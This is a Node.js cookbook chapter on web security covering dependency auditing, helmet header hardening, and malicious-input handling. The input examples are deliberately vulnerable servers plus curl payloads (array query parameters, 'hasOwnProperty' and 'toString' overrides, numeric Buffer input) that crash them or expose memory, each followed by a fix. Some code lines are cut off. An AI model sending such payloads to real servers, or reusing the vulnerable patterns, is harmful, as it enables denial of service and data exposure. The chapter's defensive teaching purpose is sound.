# Dealing with Security

This chapter covers the following recipes

- Detecting Dependency Vulnerabilities
- Hardening Headers in Web meworks
- Anticipating Malicious Input
- Guarding Against Cross Site Scripting (XSS)
- Preventing Cross Site Request Forgery

### Introduction

It's far from controversial to assert that security is paramount.

Nevertheless, as is evident from highly notable security breaches in recent years security mistakes are made all the time.

With a focus on handling adversarial input in a web application context, this chapter explores security fundamentals and good Node is practices to help build more secure Node systems.

## **Detecting Dependency Vulnerabilities**

Thanks to the wealth of modules on NPM, we're able to mostly focus on application logic, relying on the ecosystem for canned solutions. This does, however, lead to large dependency trees and security vulnerabilities can be discovered at any time, even for the most conscientious, mature and popular modules and frameworks.

In this recipe we demonstrate how to detect vulnerabilities in a project's dependency tree.

### **Getting Ready**

We'll create a folder called app, initialize it as a package and install

```
$ cd app
$ npm init -y
$ npm install express
```

We don't need to add any of our own code, since we're only checking dependencies.

#### How to do it

We're going to use auditjs to automatically check our dependency tree against vulnerability databases.

Let's install auditjs into our project app folder:

```
$ npm install --save-dev auditjs
```

Now let's add a field to the scripts object in the package.json file:

```
"scripts": {
   "test": "echo \"Error: no test specified\" && exit 1",
   "audit": "auditjs"
},
```

Finally we can audit our dependencies with

```
$ npm run audit
```

This should output something like the following image.

```
npm run audit
> app@1.0.0 audit /app
> auditjs
[1/380] nodejs v7.6.0 22 known vulnerabilities, 0 affecting installed version
[2/380] auditjs 2.0.2
[3/380] colors 1.1.2 No known vulnerabilities...
[4/380] commander 2.9.0 No known vulnerabilities.
[5/380] graceful-readlink 1.0.1 No known vulnerabilities...
[6/380] html-entities 1.2.0 No known vulnerabilities.
[7/380] npm 4.4.1 3 known vulnerabilities, 0 affecting installed version
[8/380] JSONStream 1.3.0 No known vulnerabilities...
[9/380] jsonparse 1.2.0 No known vulnerabilities...
[10/380] through 2.3.8 No known vulnerabilities...
[11/380] abbrev 1.1.0 No known vulnerabilities...
[12/380] ansi-regex 2.1.1 No known vulnerabilities...
[13/380] ansicolors 0.3.2
[14/380] ansistyles 0.1.3
[15/380] aproba 1.1.1 No known vulnerabilities...
[16/380] archy 1.0.0 No known vulnerabilities...
[17/380] asap 2.0.5 No known vulnerabilities...
[18/380] chownr 1.0.1 No known vulnerabilities...
[19/380] cmd-shim 2.0.2 No known vulnerabilities...
[20/380] columnify 1.5.4 No known vulnerabilities...
[21/380] wcwidth 1.0.0 No known vulnerabilities.
```

#### How it works

The auditis tool traverses the entire dependency tree, and makes requests to the OSS Index which aggregates vulnerability announcements from npm, the Node Security Project, the National Vulnerability Database, and Snyk.io, and others.

The auditis tool also checks the local version of node to see if it's secure, so it can be useful to run auditis on a CI (Continuous Integration) machine that has the exact node version as used in production.

We install it as a development dependency, and then add it as an audit script in package.json. This means auditing comes "bundled" with our project whenever it's shared among multiple developers.

#### There's more

What other methods can we use to manage dependency security?

#### **Module Vetting**

We can arbitrarily check modules for vulnerabilities (at least the vulnerability database maintained by snyk.io) without installing them.

Let's install the snyk CLI tool:

```
$ npm install -g snyk
```

We need to run through an authentication process, let's run:

```
$ snyk wizard
```

And follow the steps that the wizard takes us through.

Once complete we can check any module on npm for vulnerabilities using the snyk test command.

We could test the Hapi framework (which we haven't used at all in our project), for instance:

```
$ snyk test hapi
```

That should (hopefully!) pass with without vulnerabilities.

An old version of Hapi (version 11.1.2), will show vulnerabilities in the tree:

```
$ snyk test hapi@11.1.2
```

Running the above commands should look result in something like the following:

```
snyk test hapi
  Tested hapi for known vulnerabilities, no vulnerable paths found.
- Run `snyk monitor` to be notified about new related vulnerabilities.
- Run `snyk test` as part of your CI/test.
$ snyk test hapi@11.1.2
                         ity found on hapi@11.1.2

    desc: Denial of Service through invalid If-Modified-Since/Last-Modified headers

- info: https://snyk.io/vuln/npm:hapi:20151223
- from: hapi@11.1.2
You've tested an outdated version of the project. Should be upgraded to hapi@11.1.3

    desc: Potentially loose security restrictions

- info: https://snyk.io/vuln/npm:hapi:20151228
- from: hapi@11.1.2
You've tested an outdated version of the project. Should be upgraded to hapi@11.1.4
Tested hapi@11.1.2 for known vulnerabilities, found 2 vulnerabilities, 2 vulnerable paths.
Run `snyk wizard` to address these issues.
```

#### **Restricting Core Module Usage**

Some core modules are very powerful, and we often depend on third party modules which may perform powerful operations with little transparency.

This could lead to unintended vulnerabilities where user input is passed through a dependency tree that eventually leads to shell commands that could inadvertently allow for malicious input to control our server. While the chances of this happening seem rare, the implications are severe. Depending on our use case, if we can eliminate the risk, we're better off for it.

Let's write a small function which we can use to throw when a given core module is used thus allowing us to vet or at least monitor code (dependencies or otherwise) that uses the module.

To demonstrate, let's create a folder called core-restrict with an index.js file and an example.js file:

```
$ mkdir core-restrict
$ cd core-restrict
$ touch index.js example.js
```

In our index.js file we'll put the following code:

```
module.exports = function (name) {
  require.cache[name] = {}
  Object.defineProperty(require.cache[name], 'exports', {
    get: () => { throw Error(`The ${name} module is restricted`) }
  })
}
```

Now we can try it out with the example.js file:

```
const restrict = require('./')
restrict('child_process')

const cp = require('child_process')
```

If we run example.js:

```
$ node example.js
```

It should throw an error, stating "The child\_process module is restricted".

This technique takes advantage of Node's module loading algorithm, it checks the loaded module cache (which we access through require.cache) for namespace before it attempts to load a built in module. We override the cache with that namespace and use Object.defineProperty to make a property definition on the exports key that throws an error when the key is accessed.

#### See also

- Installi Dependencies in Chapter 2 Writing Modules
- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Creating a Hapi Web App in Chapter 7 Working with Web Frameworks

## **Hardening Headers in Web Frameworks**

Due to Node's "batteries not included" philosophy, which has also influenced the philosophy of certain web frameworks (like Express), security features often tend to be a manual addon, or at least a matter of manual configuration.

In this recipe we'll show how to harden an Express web server (along with

hardening servers built with other frameworks in the There's More section).

### **Getting Ready**

We're going to use the official Express application generator because this definitively identifies the standard defaults of an Express project.

Let's install express-genenerator and use it to create an Express project named app:

```
$ npm install -g express-generator
$ express app
$ cp app
$ npm install
```

## Web Frameworks



In this recipe we're hardening Express, in the There's More section we harden various other frameworks. For a comprehensive introduction to Web Frameworks see Chapter 7 Working with Web Frameworks

A final step to getting ready, since this book is written using StandardJS lint rules, is to automatically convert the generator to standard linting:

```
$ npm install -g standard
$ standard --fix
```

#### How to do it

Let's begin by starting our server, in the app folder we run:

```
$ npm start
```

Now in another tab, let's take a look at our Express apps default HTTP headers:

```
$ curl -I http://localhost:3000
```

If curl isn't installed in our system, we can achieve the same result with the following:

```
$ node -e "require('http').get({port: 3000, method: 'head'})
.on('socket', (socket) => socket.pipe(process.stdout))"
```

The response should look something like the following:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 170
ETag: W/"aa-SNfgj6aecdqLGkiTQbf9lQ"
Date: Mon, 20 Mar 2017 11:55:42 GMT
Connection: close
```

Now let's install the helmet module.

```
$ npm install --save helmet
```

In our app.js file we'll require helmet at the end of the included modules, but before we require local files:

```
var express = require('express')
var path = require('path')
var favicon = require('serve-favicon')
var logger = require('morgan')
var cookieParser = require('cookie-parser')
var bodyParser = require('body-parser')
var helmet = require('helmet')
var index = require('./routes/index')
var users = require('./routes/users')
```

We can see helmet is required now, just above index and below bodyParser.

Next we'll include helmet as middleware, at the top of the middleware stack:

```
app.use(helmet())
app.use(logger('dev'))
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(cookieParser())
app.use(express.static(path.join(__dirname, 'public')))
```

Ok, let's press Ctrl+C to stop our server, and then start it again:

```
$ npm start
```

In another terminal let's make the same HEAD request:

```
$ curl -I http://localhost:3000
```

Or the following in the absence of curl:

```
$ node -e "require('http').get({port: 3000, method: 'head'})
.on('socket', (socket) => socket.pipe(process.stdout))"
```

We should now see something like:

```
HTTP/1.1 200 OK

X-DNS-Prefetch-Control: off

X-Frame-Options: SAMEORIGIN

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Type: text/html; charset=utf-8

Content-Length: 170

ETag: W/"aa-SNfgj6aecdqLGkiTQbf9lQ"

Date: Mon, 20 Mar 2017 12:00:44 GMT

Connection: close
```

te the removal of X-Powered-By and the addition of several new X- prefixed headers.

#### How it works

The helmet module is a collection of Express middleware, that provides some sane security defaults when included.

The first sane default is removing the X-Powered-By header.

In the previous recipe we saw an older version of Express, with several known, and public vulnerabilities.

Before we included helmet the header output contained:

```
X-Powered-By: Express
```

While there are other ways to identify an Express server, the first way we can harden our server, is to prevent it being a low hanging fruit for automated attacks.

This is purely obfuscation, but it makes our server statistically less vulnerable.

Next, helmet adds the X-DNS-Prefetch-Control with the value set to off. This instructs browsers not to prefetch DNS records for references within an HTML page (for instance, a link to a third party domain may cause a browser to trigger a lookup request to the domain). While this (and other types of prefetching) seems like a good idea (for client side performance), it does lead to privacy issues. For instance, a user on a corporate network may have appeared to access content that was only linked from a page. The helmet module disables this by default.





A popular alternative to helmet is lusca, it provides the same essential features as helmet and then some.

The next header, X-Frame-Options: SAMEORIGIN prevents iframe based Click Jacking where our site may be loaded in an <iframe> HTML element on a malicious site, but positioned behind other content that instigates a user click. This click can then be used in a "bait and switch" where click actually applies to an element on our site within the iframe. Setting X-Frame-Options to SAMEORIGIN instructs the browser to disallow the endpoint to be loaded in an iframe unless the iframe is hosted on the same domain.

The X-Download-Options: noopen is an archaic throwback that attempts to protect what remains of the Internet Explorer 8 user base (it may, by now, at time of reading, have been removed from helmet defaults). Internet Explorer 8, by default, opens downloaded files (such as HTML) with the authority of the site it was downloaded from. This header disables that behavior.

The MIME type of a document is important, it describes the structure of the content, for instance text/css and application/javascript have very different qualities, expectations and powers. Browsers can attempt to guess the MIME type of a document, and even in some cases (IE in particular), ignore the MIME type sent from the server. This opens up the possibility of attacks that bypass security mechanisms by veiling themselves in an alternative MIME type format, and then somehow switching back and being executed in their original format to run malicious code. A very sophisticated manifestation of this attack comes in the form of the setta Flash attack created in 2004 to demonstrate the vulnerability (see https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/). Setting the X-Content-Type-Options to nosniff instructs the browser to never guess and override the MIME type, rendering such attacks impossible.

The final X-XSS-Protection is supported in Internet Explorer and chrome. The name is very much a misnomer, since X-XSS-Protection provides very little protection from Cross Site Scripting. In fact, in Internet Explorer 8, when it was introduced, the X-XSS-Protection header *created* an XSS vulnerability. So this piece of helmet also performs User Agent detection and disables it for Internet Explorer 8.



We address Cross Site Scripting in detail in the **Guarding Against Cross Site Scripting (XSS)** recipe in this chapter.

Setting the X-XSS-Protection header to 1; mode=block instructs the Internet Explorer to refuse to render when it detects a Reflected XSS attack (e.g. a non-persistent attack, such as crafting a URL with a query parameter the executes JavaScript). In Chrome the X-XSS-Protection header is used to opt-out (by setting to 0) of Chromes XSS auditor, which will automatically attempt to filter out malicious URL pieces.

In either case the XSS-Protection header shouldn't be relied on as complete protection from XSS attacks, since it deals only with Reflected XSS which is only one type.

Additionally, the ability for a browser to detect a reflected XSS attack place is non-trivial (and can be worked around, see the **Guarding Against Cross Site Scripting** (XSS) recipe).

One other header that helmet sets by default is the Strict-Transport-Security which is only enabled for HTTPS requests. Since we don't have HTTPS impented,

we don't see this header in output. Once a browser visits a site over HTTPS using the Strict-Transport-Security that browser becomes locked-in to using HTTPS, every subsequent visit must use HTTPS.



may wish to disable client caching. The helmet.noCache middleware will set a variety of headers so that caching is eradicated from old and new browsers alike, as well instructing Content Delivery Networks (CDNs) to drop the cache. The helmet.referrerPolicy restricts the Referrer header, which privacy conscious users may appreciate. The helmet.hkpk middleware sets the Public-Key-Pins header, which we have to supply with a public key that appears in a sites SSL certificate chain. This causes the browser to store the key, and compare it on subsequent requests thus securing against the the possibility of a rogue Certificate Authority (CA) (or other SSL based Person in the Middle attack) Finally there's the helmet.contentSecurityPolicy middleware which we'll explore in more detail in the Guarding Against Cross Site Scripting (XSS) recipe in this chapter.

#### There's more

Let's explore the other ways a potential attacker might identify our server, and how to apply helmets sane defaults to other Web Frameworks (and even with Node's http core module). Additionally, we'll also discuss the non-default security headers helmet can set.

#### **Avoiding fingerprinting**

The X-Powered-By is one way vulnerability scanners will use to fingerprint a server, but other heuristics are employed by more sophisticated bots.

For instance, Node servers in general have a tendency towards lower case HTTP headers, the more lower case headers that appear the more likely a server is to be running Node. The only way to avoid this is to ensure that when our code (or our dependencies code) set's a header, it uses more typical casing.

Another case is the session cookie name, which in express-session (the official middleware for Express sessions) defaults to connect.sid.

In Hapi, with the hapi-auth-cookie plugin, the default is sid or with the yar plugin the default is session. These are slightly more generic, but still identifiable, especially given the way case is used (again lowercase is a give away). In all cases, the session name is configurable, and we might want to set it to something like SESSIONID.

The format of the ETag header is another consideration. Since ETag generation is unspecified in the HTTP specification, the format of header is often unique to the

framework that generates it. In the case of Express, ETag output has changed between major versions, so it's possible to parse ETag headers to identify the version of Express a server is using.

Finally there's error pages (such as 404 or 500 page), the wording, html structure, styling can all help to identify the server.

#### Hardening a core http server

The helmet module is just set of useful Express middlewares. It provides sane defaults. All of the helmet library's default enabled middleware simply modifies the response header. Now that we're aware of the sane defaults, we can do the same with an HTTP server written entirely with the core HTTP module.

Let's create a folder called <a href="http-app">http-app</a> and create <a href="index.js">index.js</a> file in it.

Let's open index. is in our favorite editor, and write the following:

```
const http = require('http')
const server = http.createServer((req, res) => {
  secureHeaders(res)
  switch (req.url) {
    case '/': return res.end('hello world')
    case '/users': return res.end('oh, some users!')
   default: return error('404', res)
 }
})
function secureHeaders (res) {
  res.setHeader('X-DNS-Prefetch-Control', 'off')
  res.setHeader('X-Frame-Options', 'SAMEORIGIN')
  res.setHeader('X-Download-Options', 'noopen')
  res.setHeader('X-Content-Type-Options', 'nosniff')
  res.setHeader('X-XSS-Protection', '1; mode=block')
}
function error(code, res) {
  res.statusCode = code
  res.end(http.STATUS_CODES[code])
}
server_listen(3000)
```

Here we emulate the fundamental functionality from our main recipe. The secureHeaders function simply takes the response object, and calls setHeader

for each of the headers discussed in the main recipe.



# Warning: Koa v2 requires Node 8 or higher



Due to Koa's use of ES2015 async/await this example will only run in Node 8 or higher. For more information about Koa see Creating a Koa Web App in **Chapter 7 Working with Web Frameworks.** 

If we're using Koa, we can avail of koa-helmet, which is, as the name suggests, helmet for koa.

To demonstrate, let's use the koa-gen tool to generate a Koa (v2) app:

```
$ npm install -g koa-gen
$ koa koa-app
```

Next let's install koa-helmet

```
$ npm i --save koa-helmet
```

Now we'll edit the app.js file, we'll add our dependency just above where koarouter is required:

```
const Koa = require('koa')
const app = new Koa()
const helmet = require('koa-helmet')
const router = require('koa-router')()
const views = require('koa-views')
```

Next we'll place the koa-helmet middleware at the top of the middleware stack:

```
// middlewares
app.use(helmet())
app.use(bodyparser())
app.use(json())
app.use(log4js.koaLogger(log4js.getLogger('http'), { level: 'auto' }))
app.use(serve(path.join(__dirname, 'public')))
```

Finally we'll start out server and check the headers:

```
$ npm start
```

Then with curl:

```
$ curl -I http://localhost:3000
```

Or without curl:

```
$ node -e "require('http').get({port: 3000, method: 'head'})
.on('socket', (socket) => socket.pipe(process.stdout))"
```

This should lead to something similar to the following output:

```
HTTP/1.1 200 OK
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/html; charset=utf-8
Content-Length: 191
Date: Mon, 20 Mar 2017 17:35:28 GMT
Connection: keep-alive
```

#### **Hardening Hapi**

We'll use a starter kit to quickly create a Hapi app:

```
$ git clone https://github.com/azaritech/hapi-starter-kit hapi-app
$ cd hapi-app
$ git reset --hard 5b6281
$ npm install
```

Hapi doesn't have an equivalent of helmet so we'll have to add the headers ourselves. The way to achieve this globally (e.g. across every request) is with the onPreResponse extension (Hapi terminology for a hook).

In the index.js file, just under the statement beginning init.connections we add:

```
server.ext('onPreResponse', (request, reply) => {
  var response = request.response.isBoom ?
    request.response.output :
    request.response;
  response.headers['X-DNS-Prefetch-Control'] = 'off';
  response.headers['X-DNS-Prefetch-Control'] = 'off';
  response.headers['X-Frame-Options'] = 'SAMEORIGIN';
  response.headers['X-Download-Options'] = 'noopen';
  response.headers['X-Content-Type-Options'] = 'nosniff';
  response.headers['X-XSS-Protection'] = '1; mode=block';
  reply.continue();
});
```

The function we supplied as the second argument to server.ext will be called prior to every response. We have to check for Boom objects (Hapi error objects) because error response object is located on requests.response.output. Other than we simply set properties on the response.headers and then call reply.continue() to pass control back to the framework.

If we hit our server with curl:

```
$ curl -I http://localhost:3000
```

Or with node instead of curl:

```
$ node -e "require('http').get({port: 3000, method: 'head'})
.on('socket', (socket) => socket.pipe(process.stdout))"
```

We should see something similar to:

```
HTTP/1.1 200 OK

X-DNS-Prefetch-Control: off

X-Frame-Options: SAMEORIGIN

X-Download-Options: noopen

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

cache-control: no-cache

content-type: text/html; charset=utf-8

content-length: 16

vary: accept-encoding

Date: Mon, 20 Mar 2017 19:28:59 GMT

Connection: keep-alive
```

#### See also

- Enabling Debug Logs in Chapter 1 Debugging Processes
- Creating an HTTP server in Chapter 5 Wielding Web Protocols
- Creating a Koa Web App in Chapter 7 Working with Web Frameworks
- Creating an Express Web App in Chapter 7 Working with Web Frameworks
- Creating a Hapi Web App in Chapter 7 Working with Web Frameworks

## **Anticipating Malicious Input**

Malicious input can often catch us by surprise. We tend to cater to the common cases of but can easily neglect more esoteric vulnerabilities resulting from unexpected or forgotten behaviors.

In the main recipe we'll focus on the parameter pollution case, in the There's More section we'll cover other important but often unfamiliar areas such as JSON validation and user input driven Buffer creation.

Parameter pollution is quite a subtle form of attack, and if we're not aware of the default way our framework and code handles this form of input validation, we may open ourselves to Denial of Service attacks, and in some cases allow for XSS or CSRF attacks.

In this recipe we're going to protect a server from HTTP Parameter pollution.

### **Getting Ready**

We'll use Express in this recipe, however the particular way Express handles this case represents the norm across frameworks, and indeed the behavior corresponds to Node core functionality.

So let's create a tiny Express app, that shouts back whatever message we give it.

We'll create an app folder, initialize it as a package, install express and create an index.js file:

```
$ mkdir app
$ cd app
$ npm init -y
$ npm install --save express
$ touch index.js
```

Our index.js file should look like the following:

```
const express = require('express')
const app = express()

app.get('/', (req, res) => {
    pretendDbQuery(() => {
      const yelling = (req.query.msg || '').toUpperCase()
      res.send(yelling)
    })
})

app.listen(3000)

function pretendDbQuery (cb) {
    setTimeout(cb, 0)
}
```

#### How to do it

Let's start the server we prepared in the **Getting Ready** section:

```
$ node index.js
```

Now let's check it's functionality:

```
$ curl http://localhost:3000/?msg=hello
HELLO
```

Using just node we can make the same request with:

```
$ node -e "require('http').get('http://localhost:3000/?msg=hello',
(res) => res.pipe(process.stdout))"
HELLO
```

Seems to be working just fine.

But what if we do this:

```
$ curl -g http://localhost:3000/?msg[]=hello
curl: (52) Empty reply from server
```

```
curl -g
```

The -g flag when passed to curl turns of a globbing option, which allows us to use the square brackets in a URL

Or if curl is available, we can do it with node like so:

Seems like our server has crashed.

Seems like that's a Denial of Service attack vector.

What's the error message?

```
/app/index.js:8
    const yelling = (req.query.msg || '').toUpperCase()
    ^

TypeError: req.query.msg.toUpperCase is not a function
    at Timeout.pretendDbQuery [as _onTimeout] (/app/index.js:8:35)
    at ontimeout (timers.js:380:14)
    at tryOnTimeout (timers.js:244:5)
    at Timer.listOnTimeout (timers.js:214:5)
```

The toUpperCase method exists on the String.prototype, that is, every string has the toUpperCase method.

If req.query.msg.toUpperCase is not a function then req.query.msg isn't a string.

# What about POST requests



If the request was a POST request, our server would have the same problem because the body of a application/x-www-form-urlencoded POST request (the default for HTML forms) is also a query string. The only difference would be, instead of crafting a URL an attacker would have to trick a user into interacting with something that initiated a POST request (say by clicking a button to "win an iPhone")

Let's copy index.js to index-fixed.js and make the following change to our route handler:

```
app.get('/', (req, res) => {
  pretendDbQuery(() => {
    var msg = req.query.msg
    if (Array.isArray(msg)) msg = msg.pop()
    const yelling = (msg || '').toUpperCase()
    res.send(yelling)
  })
})
```

Let's start our fixed server:

```
$ node index-fixed.js
```

Now if we try our malicious URL against the server:

```
$ curl -g http://localhost:3000/?msg[]=hello
HELLO
```

Or with node:

```
$ node -e "require('http').get('http://localhost:3000/?msg[]=hello',
(res) => res.pipe(process.stdout))"
HELL0
```

#### How it works

In this case the adversarial input takes advantage of a fairly common mistake - to assume that query string (or request body) parameters will always be strings.

While there is no specification on how to handle multiple parameters of the same name nor the array-like annotation (msg[]=eg) Web frameworks on most platforms tend to support these cases. Even Node's query querystring module will convert multiple parameters of the same name to arrays.

The qs module (which is used by both Express and Hapi), will convert namespace conflicts, or names with array-like annotation (that is, with the square bracket suffix) into arrays.

When we always assume a parameter will be a string, we may attempt to call a method which applies exclusively to strings (such as toUpperCase) without checking the type.

When the parameter is an array, our runtime will attempt to invoke undefined as a function, and the server will crash, opening us up to an very easily executed Denial of Service attack.

Forgetting to check the parameter type can also lead to other possibilities, such as Cross Site Scripting (XSS) attacks. For instance, XSS filtering could be bypassed in situations where parameters are concatenated - for instance by splitting up character series like <script> that would normally trigger XSS warnings.

### There's more

Let's look at some other ways malicious input might catch us off guard.

#### **Buffer safety**

The Buffer constructor is highly powerful but with potential for danger.

Let's simply create an index.js file with the following code:

```
const http = require('http')

const server = http.createServer((req, res) => {
   if (req.method === 'GET') {
     res.setHeader('Content-Type', 'text/html')
     if (req.url === '/') return res.end(html())
     res.setHeader('Content-Type', 'application/json')
   if (req.url === '/friends') return res.end(friends())
```

```
return
  }
 if (req.method === 'POST') {
    if (req.url === '/') return action(req, res)
 }
})
function html (res) {
  return `
    <div id=friends></div>
    <form>
      <input id=friend> <input type=submit value="Add Friend">
    </form>
    <script>
      void function () {
        var friend = document.getElementById('friend')
        var friends = document.getElementById('friends')
        function load () {
          fetch('/friends', {
            headers: {
              'Accept': 'application/json, text/plain, */*',
              'Content-Type': 'application/json'
            }
          }).catch((err) => console.error(err))
            .then((res) => res.ison())
            .then((arr) => friends.innerHTML = arr.map((f) => atob(f)).
        load()
        document.forms[0].addEventListener('submit', function () {
          fetch('/', {
            method: 'post',
            headers: {
              'Accept': 'application/json, text/plain, */*',
              'Content-Type': 'application/json'
            },
            body: JSON.stringify({cmd: 'add', friend: friend.value})
          }).catch((err) => console.error(err))
            .then(load)
        })
     }()
   </script>
}
function friends () {
  return JSON.stringify(friends.list)
}
friends.list = [Buffer('Dave').toString('base64')]
friends.add = (friend) => friends.list.push(Buffer(friend).toString('ba
```

```
function action (req, res) {
  var data = ''
  reg.on('data', (chunk) => data += chunk)
  req.on('end', () => {
    try {
      data = JSON.parse(data)
    } catch (e) {
      res.end('{"ok": false}')
      return
    }
    if (data.cmd === 'add') {
      friends.add(data.friend)
    res.end('{"ok": true}')
  })
}
server.listen(3000)
```

We can start our server with:


```
$ node index.js
```

This is a server with three routes, GET /, POST / and GET /friends. The GET / route delivers some HTML with an inline client side script that hits the /friends route, recieves a JSON array payload, and maps over each item in the array to convert it from base64 with the browsers atob function. The POST / route parses any incoming JSON payloads, checks for a cmd property with a value of add and calls friends.add(data.friend). The friends.add method converts the input into base64 and adds it to an array. On the client side, the load function is called again after a successful POST request, and the updated list of friends is loaded.

However, if we use curl to make the following request:

```
$ curl -H "Content-Type: application/json" -X POST -d '{"cmd": "add", "
```

And then check the browser, at http://localhost:3000, we'll see something similar to the following:



We set the friend field in the JSON payload to a number, which was passed directly to the Buffer constructor. The Buffer constructor is polymorphic, if it's passed a string the string will be converted to a buffer. However, if passed a number, it will allocate a buffer to the size of that number. For performance reasons, memory for the buffer is allocated from unlinked memory, which means potentially anything could be exposed, including private keys.

```
Let's copy index.js to index-fixed.js:
```

```
$ cp index.js index-fixed.js
```

Now we'll change the friends function and methods like so:

```
function friends () {
   return JSON.stringify(friends.list)
}
friends.list = [Buffer.from('Dave').toString('base64')]
friends.add = (friend) => {
   friends.list.push(Buffer.from(friend).toString('base64'))
}
```

We're using Buffer from instead of using Buffer directly. The Buffer from method will throw when passed a number, it will only allow strings, arrays (and array-like objects), and other buffers (including Buffer and ArrayBuffer

objects).

To make sure our server doesn't crash we can update the action function accordingly:

```
function action (req, res) {
  var data = ''
  req.on('data', (chunk) => data += chunk)
  req.on('end', () => {
    try {
      data = JSON.parse(data)
    } catch (e) {
      console.error(e)
      res.end('{"ok": false}')
      return
    }
    if (data.cmd === 'add') {
      try {
        friends.add(data.friend)
      } catch (e) {
        console.error(e)
        res.end('{"ok": false}')
      }
    }
  })
}
```

If we start the fixed server:

```
$ node index-fixed.js
```

And run the same curl request:

```
$ curl -H "Content-Type: application/json" -X POST -d '{"cmd": "add", "
```

We'll see a response {"ok": false}, our server won't crash but will log the error: "TypeError: "value" argument must not be a number". Subsequent requests to GET / will show that no internal memory has been exposed.

#### **Dealing with JSON pollution**

Let create a folder called <code>json-validation</code> , initialize it as a package and create an <code>index.js</code> file:

```
$ mkdir json-validation
$ cd json-validation
$ npm init -y
$ touch index.js
```

The index.js should look like so:

```
const http = require('http')
const {STATUS_CODES} = http
const server = http.createServer((req, res) => {
  if (req.method !== 'POST') {
    res<sub>s</sub>statusCode = 404
    res.end(STATUS CODES[res.statusCode])
    return
  }
  if (req.url === '/register') {
    register(req, res)
    return
  }
  res.statusCode = 404
  res.end(STATUS CODES[res.statusCode])
})
function register (req, res) {
  var data = ''
  req.on('data', (chunk) => data += chunk)
  req.on('end', () => {
    try {
      data = JSON.parse(data)
    } catch (e) {
      res.end('{"ok": false}')
      return
    }
    // privileges can be multiple types, boolean, array, object, string
    // but the presence of the key means the user is an admin
    if (data.hasOwnProperty('privileges')) {
      createAdminUser(data)
      res.end('{"ok": true, "admin": true}')
    } else {
      createUser(data)
      res.end('{"ok": true, "admin": false}')
    }
  })
}
function createAdminUser (user) {
  const key = user.id + user.name
```

```
function createUser (user) {
   // ***
}
server.listen(3000)
```

Our server has a /register endpoint, which accepts POST requests to (hypothetically) add users to a system.

There's two ways we can cause the server to crash.

Let's try the following curl request:

```
$ curl -H "Content-Type: application/json" -X POST
-d '{"hasOwnProperty": 0}' http://127.0.0.1:3000/register
```

This will cause our server to crash with "TypeError: data.hasOwnProperty is not a function".

If an object has a privileges property, the server infers that it's an admin user. Normal users don't have a privileges property. It uses the (often recommended in alternative scenarios) hasOwnProperty method to check for the property. This is because the (pretend) system requirements property allow for the privileges property to be false, which is an admin user with minimum permissions.

By sending a JSON payload with that key, we over-shadow the Object.prototype.hasOwnProperty method, setting it to 0 which is a number, not a function.

If we're checking for the existence of a value in an object which we know to be parsed JSON we can check if the property is undefined. Since undefined isn't a valid JSON value, this means we know for sure that the key doesn't exist.

So we could update the if statement if (data.has0wnProperty('privileges')) to if (data.privileges !== undefined). However, this is more of a bandaid than a solution, what if our object is past to another function, perhaps one in a module which we didn't even write, and the has0wnProperty method is used there? Secondly it's a specific work around, there are other more subtle ways to pollute a JSON payload.

Let's start our server again and run the following request:

```
$ curl -H "Content-Type: application/json" -X POST
-d '{"privileges": false, "id": {"toString":0}, "name": "foo"}'
http://127.0.0.1:3000/register
```

This will cause our server to crash with the error "TypeError: Cannot convert object to primitive value".

The createAdminUser function creates a key variable, by concatenating the id field with the name field from the JSON payload. Since the name field is a string, this causes id to be coerced (if necessary) to a string. Internally JavaScript achieves this by calling the toString method on the value (excepting null and undefined every primitive and object has the toString method on it's prototype). Since we set the id field to an object, with a toString field set to 0 this overrides the prototypal toString function replacing it with a the number 0.

This toString (and also value0f) case is harder to protect against. To be safe we need check the type of every value in the JSON, to ensure that it's not an unexpected type. Rather than doing this manually we can use a schema validation library,

Generally, if JSON is being passed between back end services, we don't need to concern our selves too much with JSON pollution. However, if a service is public facing, we are vulnerable.

In the main, it's a best practice to use schema validation for any public facing servers that accept JSON, doing so avoids these sorts of issues (and potentially other issues when the data passes to other environments such as databases).

Let's install ajv, a performance schema validator and copy the index.js file to index-fixed.js

```
$ npm install --save ajv
$ cp index.js index-fixed.js
```

We'll make the top of index-fixed.js should look like the following:

```
const http = require('http')
const Ajv = require('ajv')
const ajv = new Ajv
```

```
const schema = {
  title: 'UserReg',
  properties: {
    id: {type: 'integer'},
    name: {type: 'string'},
    privileges: {
      anyOf: [
        {type: 'string'},
        {type: 'boolean'},
        {type: 'array', items: {type: 'string'}},
        {type: 'object'}
      ]
    }
  },
  additionalProperties: false,
  required: ['id', 'name']
}
const validate = ajv.compile(schema)
const {STATUS_CODES} = http
```

## JSONSchema 🎾

The ajv module uses the JSONSchema format for declaring object schemas.

Find out more at http://json-schema.org

The register function, we'll alter like so:

```
function register (req, res) {
  var data = ''
  req.on('data', (chunk) => data += chunk)
  req.on('end', () => {
   try {
      data = JSON.parse(data)
    } catch (e) {
      res.end('{"ok": false}')
      return
    }
    const valid = validate(data, schema)
    if (!valid) {
      console.error(validate.errors)
      res.end('{"ok": false}')
     return
    }
    if (data.hasOwnProperty('privileges')) {
      createAdminUser(data)
      res.end('{"ok": true, "admin": true}')
    } else {
```

```
createUser(data)
  res.end('{"ok": true, "admin": false}')
}
})
}
```

Now if we re-run the toString attack:

```
$ curl -H "Content-Type: application/json" -X POST -d '{"privileges": f
```

Our server stays alive, but logs a validation error:

```
[ { keyword: 'type',
    dataPath: '[object Object].id',
    schemaPath: '#/properties/id/type',
    params: { type: 'integer' },
    message: 'should be integer' } ]
```

Because we set additionalProperties to false on the schema, the hasOwnProperty attack also fails (request made with additional required fields):

```
$ curl -H "Content-Type: application/json" -X POST -d '{"hasOwnProperty
```

Our server stays alive, while an error message is logged:

```
[ { keyword: 'additionalProperties',
    dataPath: '[object Object]',
    schemaPath: '#/additionalProperties',
    params: { additionalProperty: 'hasOwnProperty' },
    message: 'should NOT have additional properties' } ]
```

#### See also

- Receiving POST Data in Chapter 5 Wielding Web Protocols
- Creating an HTTP server in Chapter 5 Wielding Web Protocols
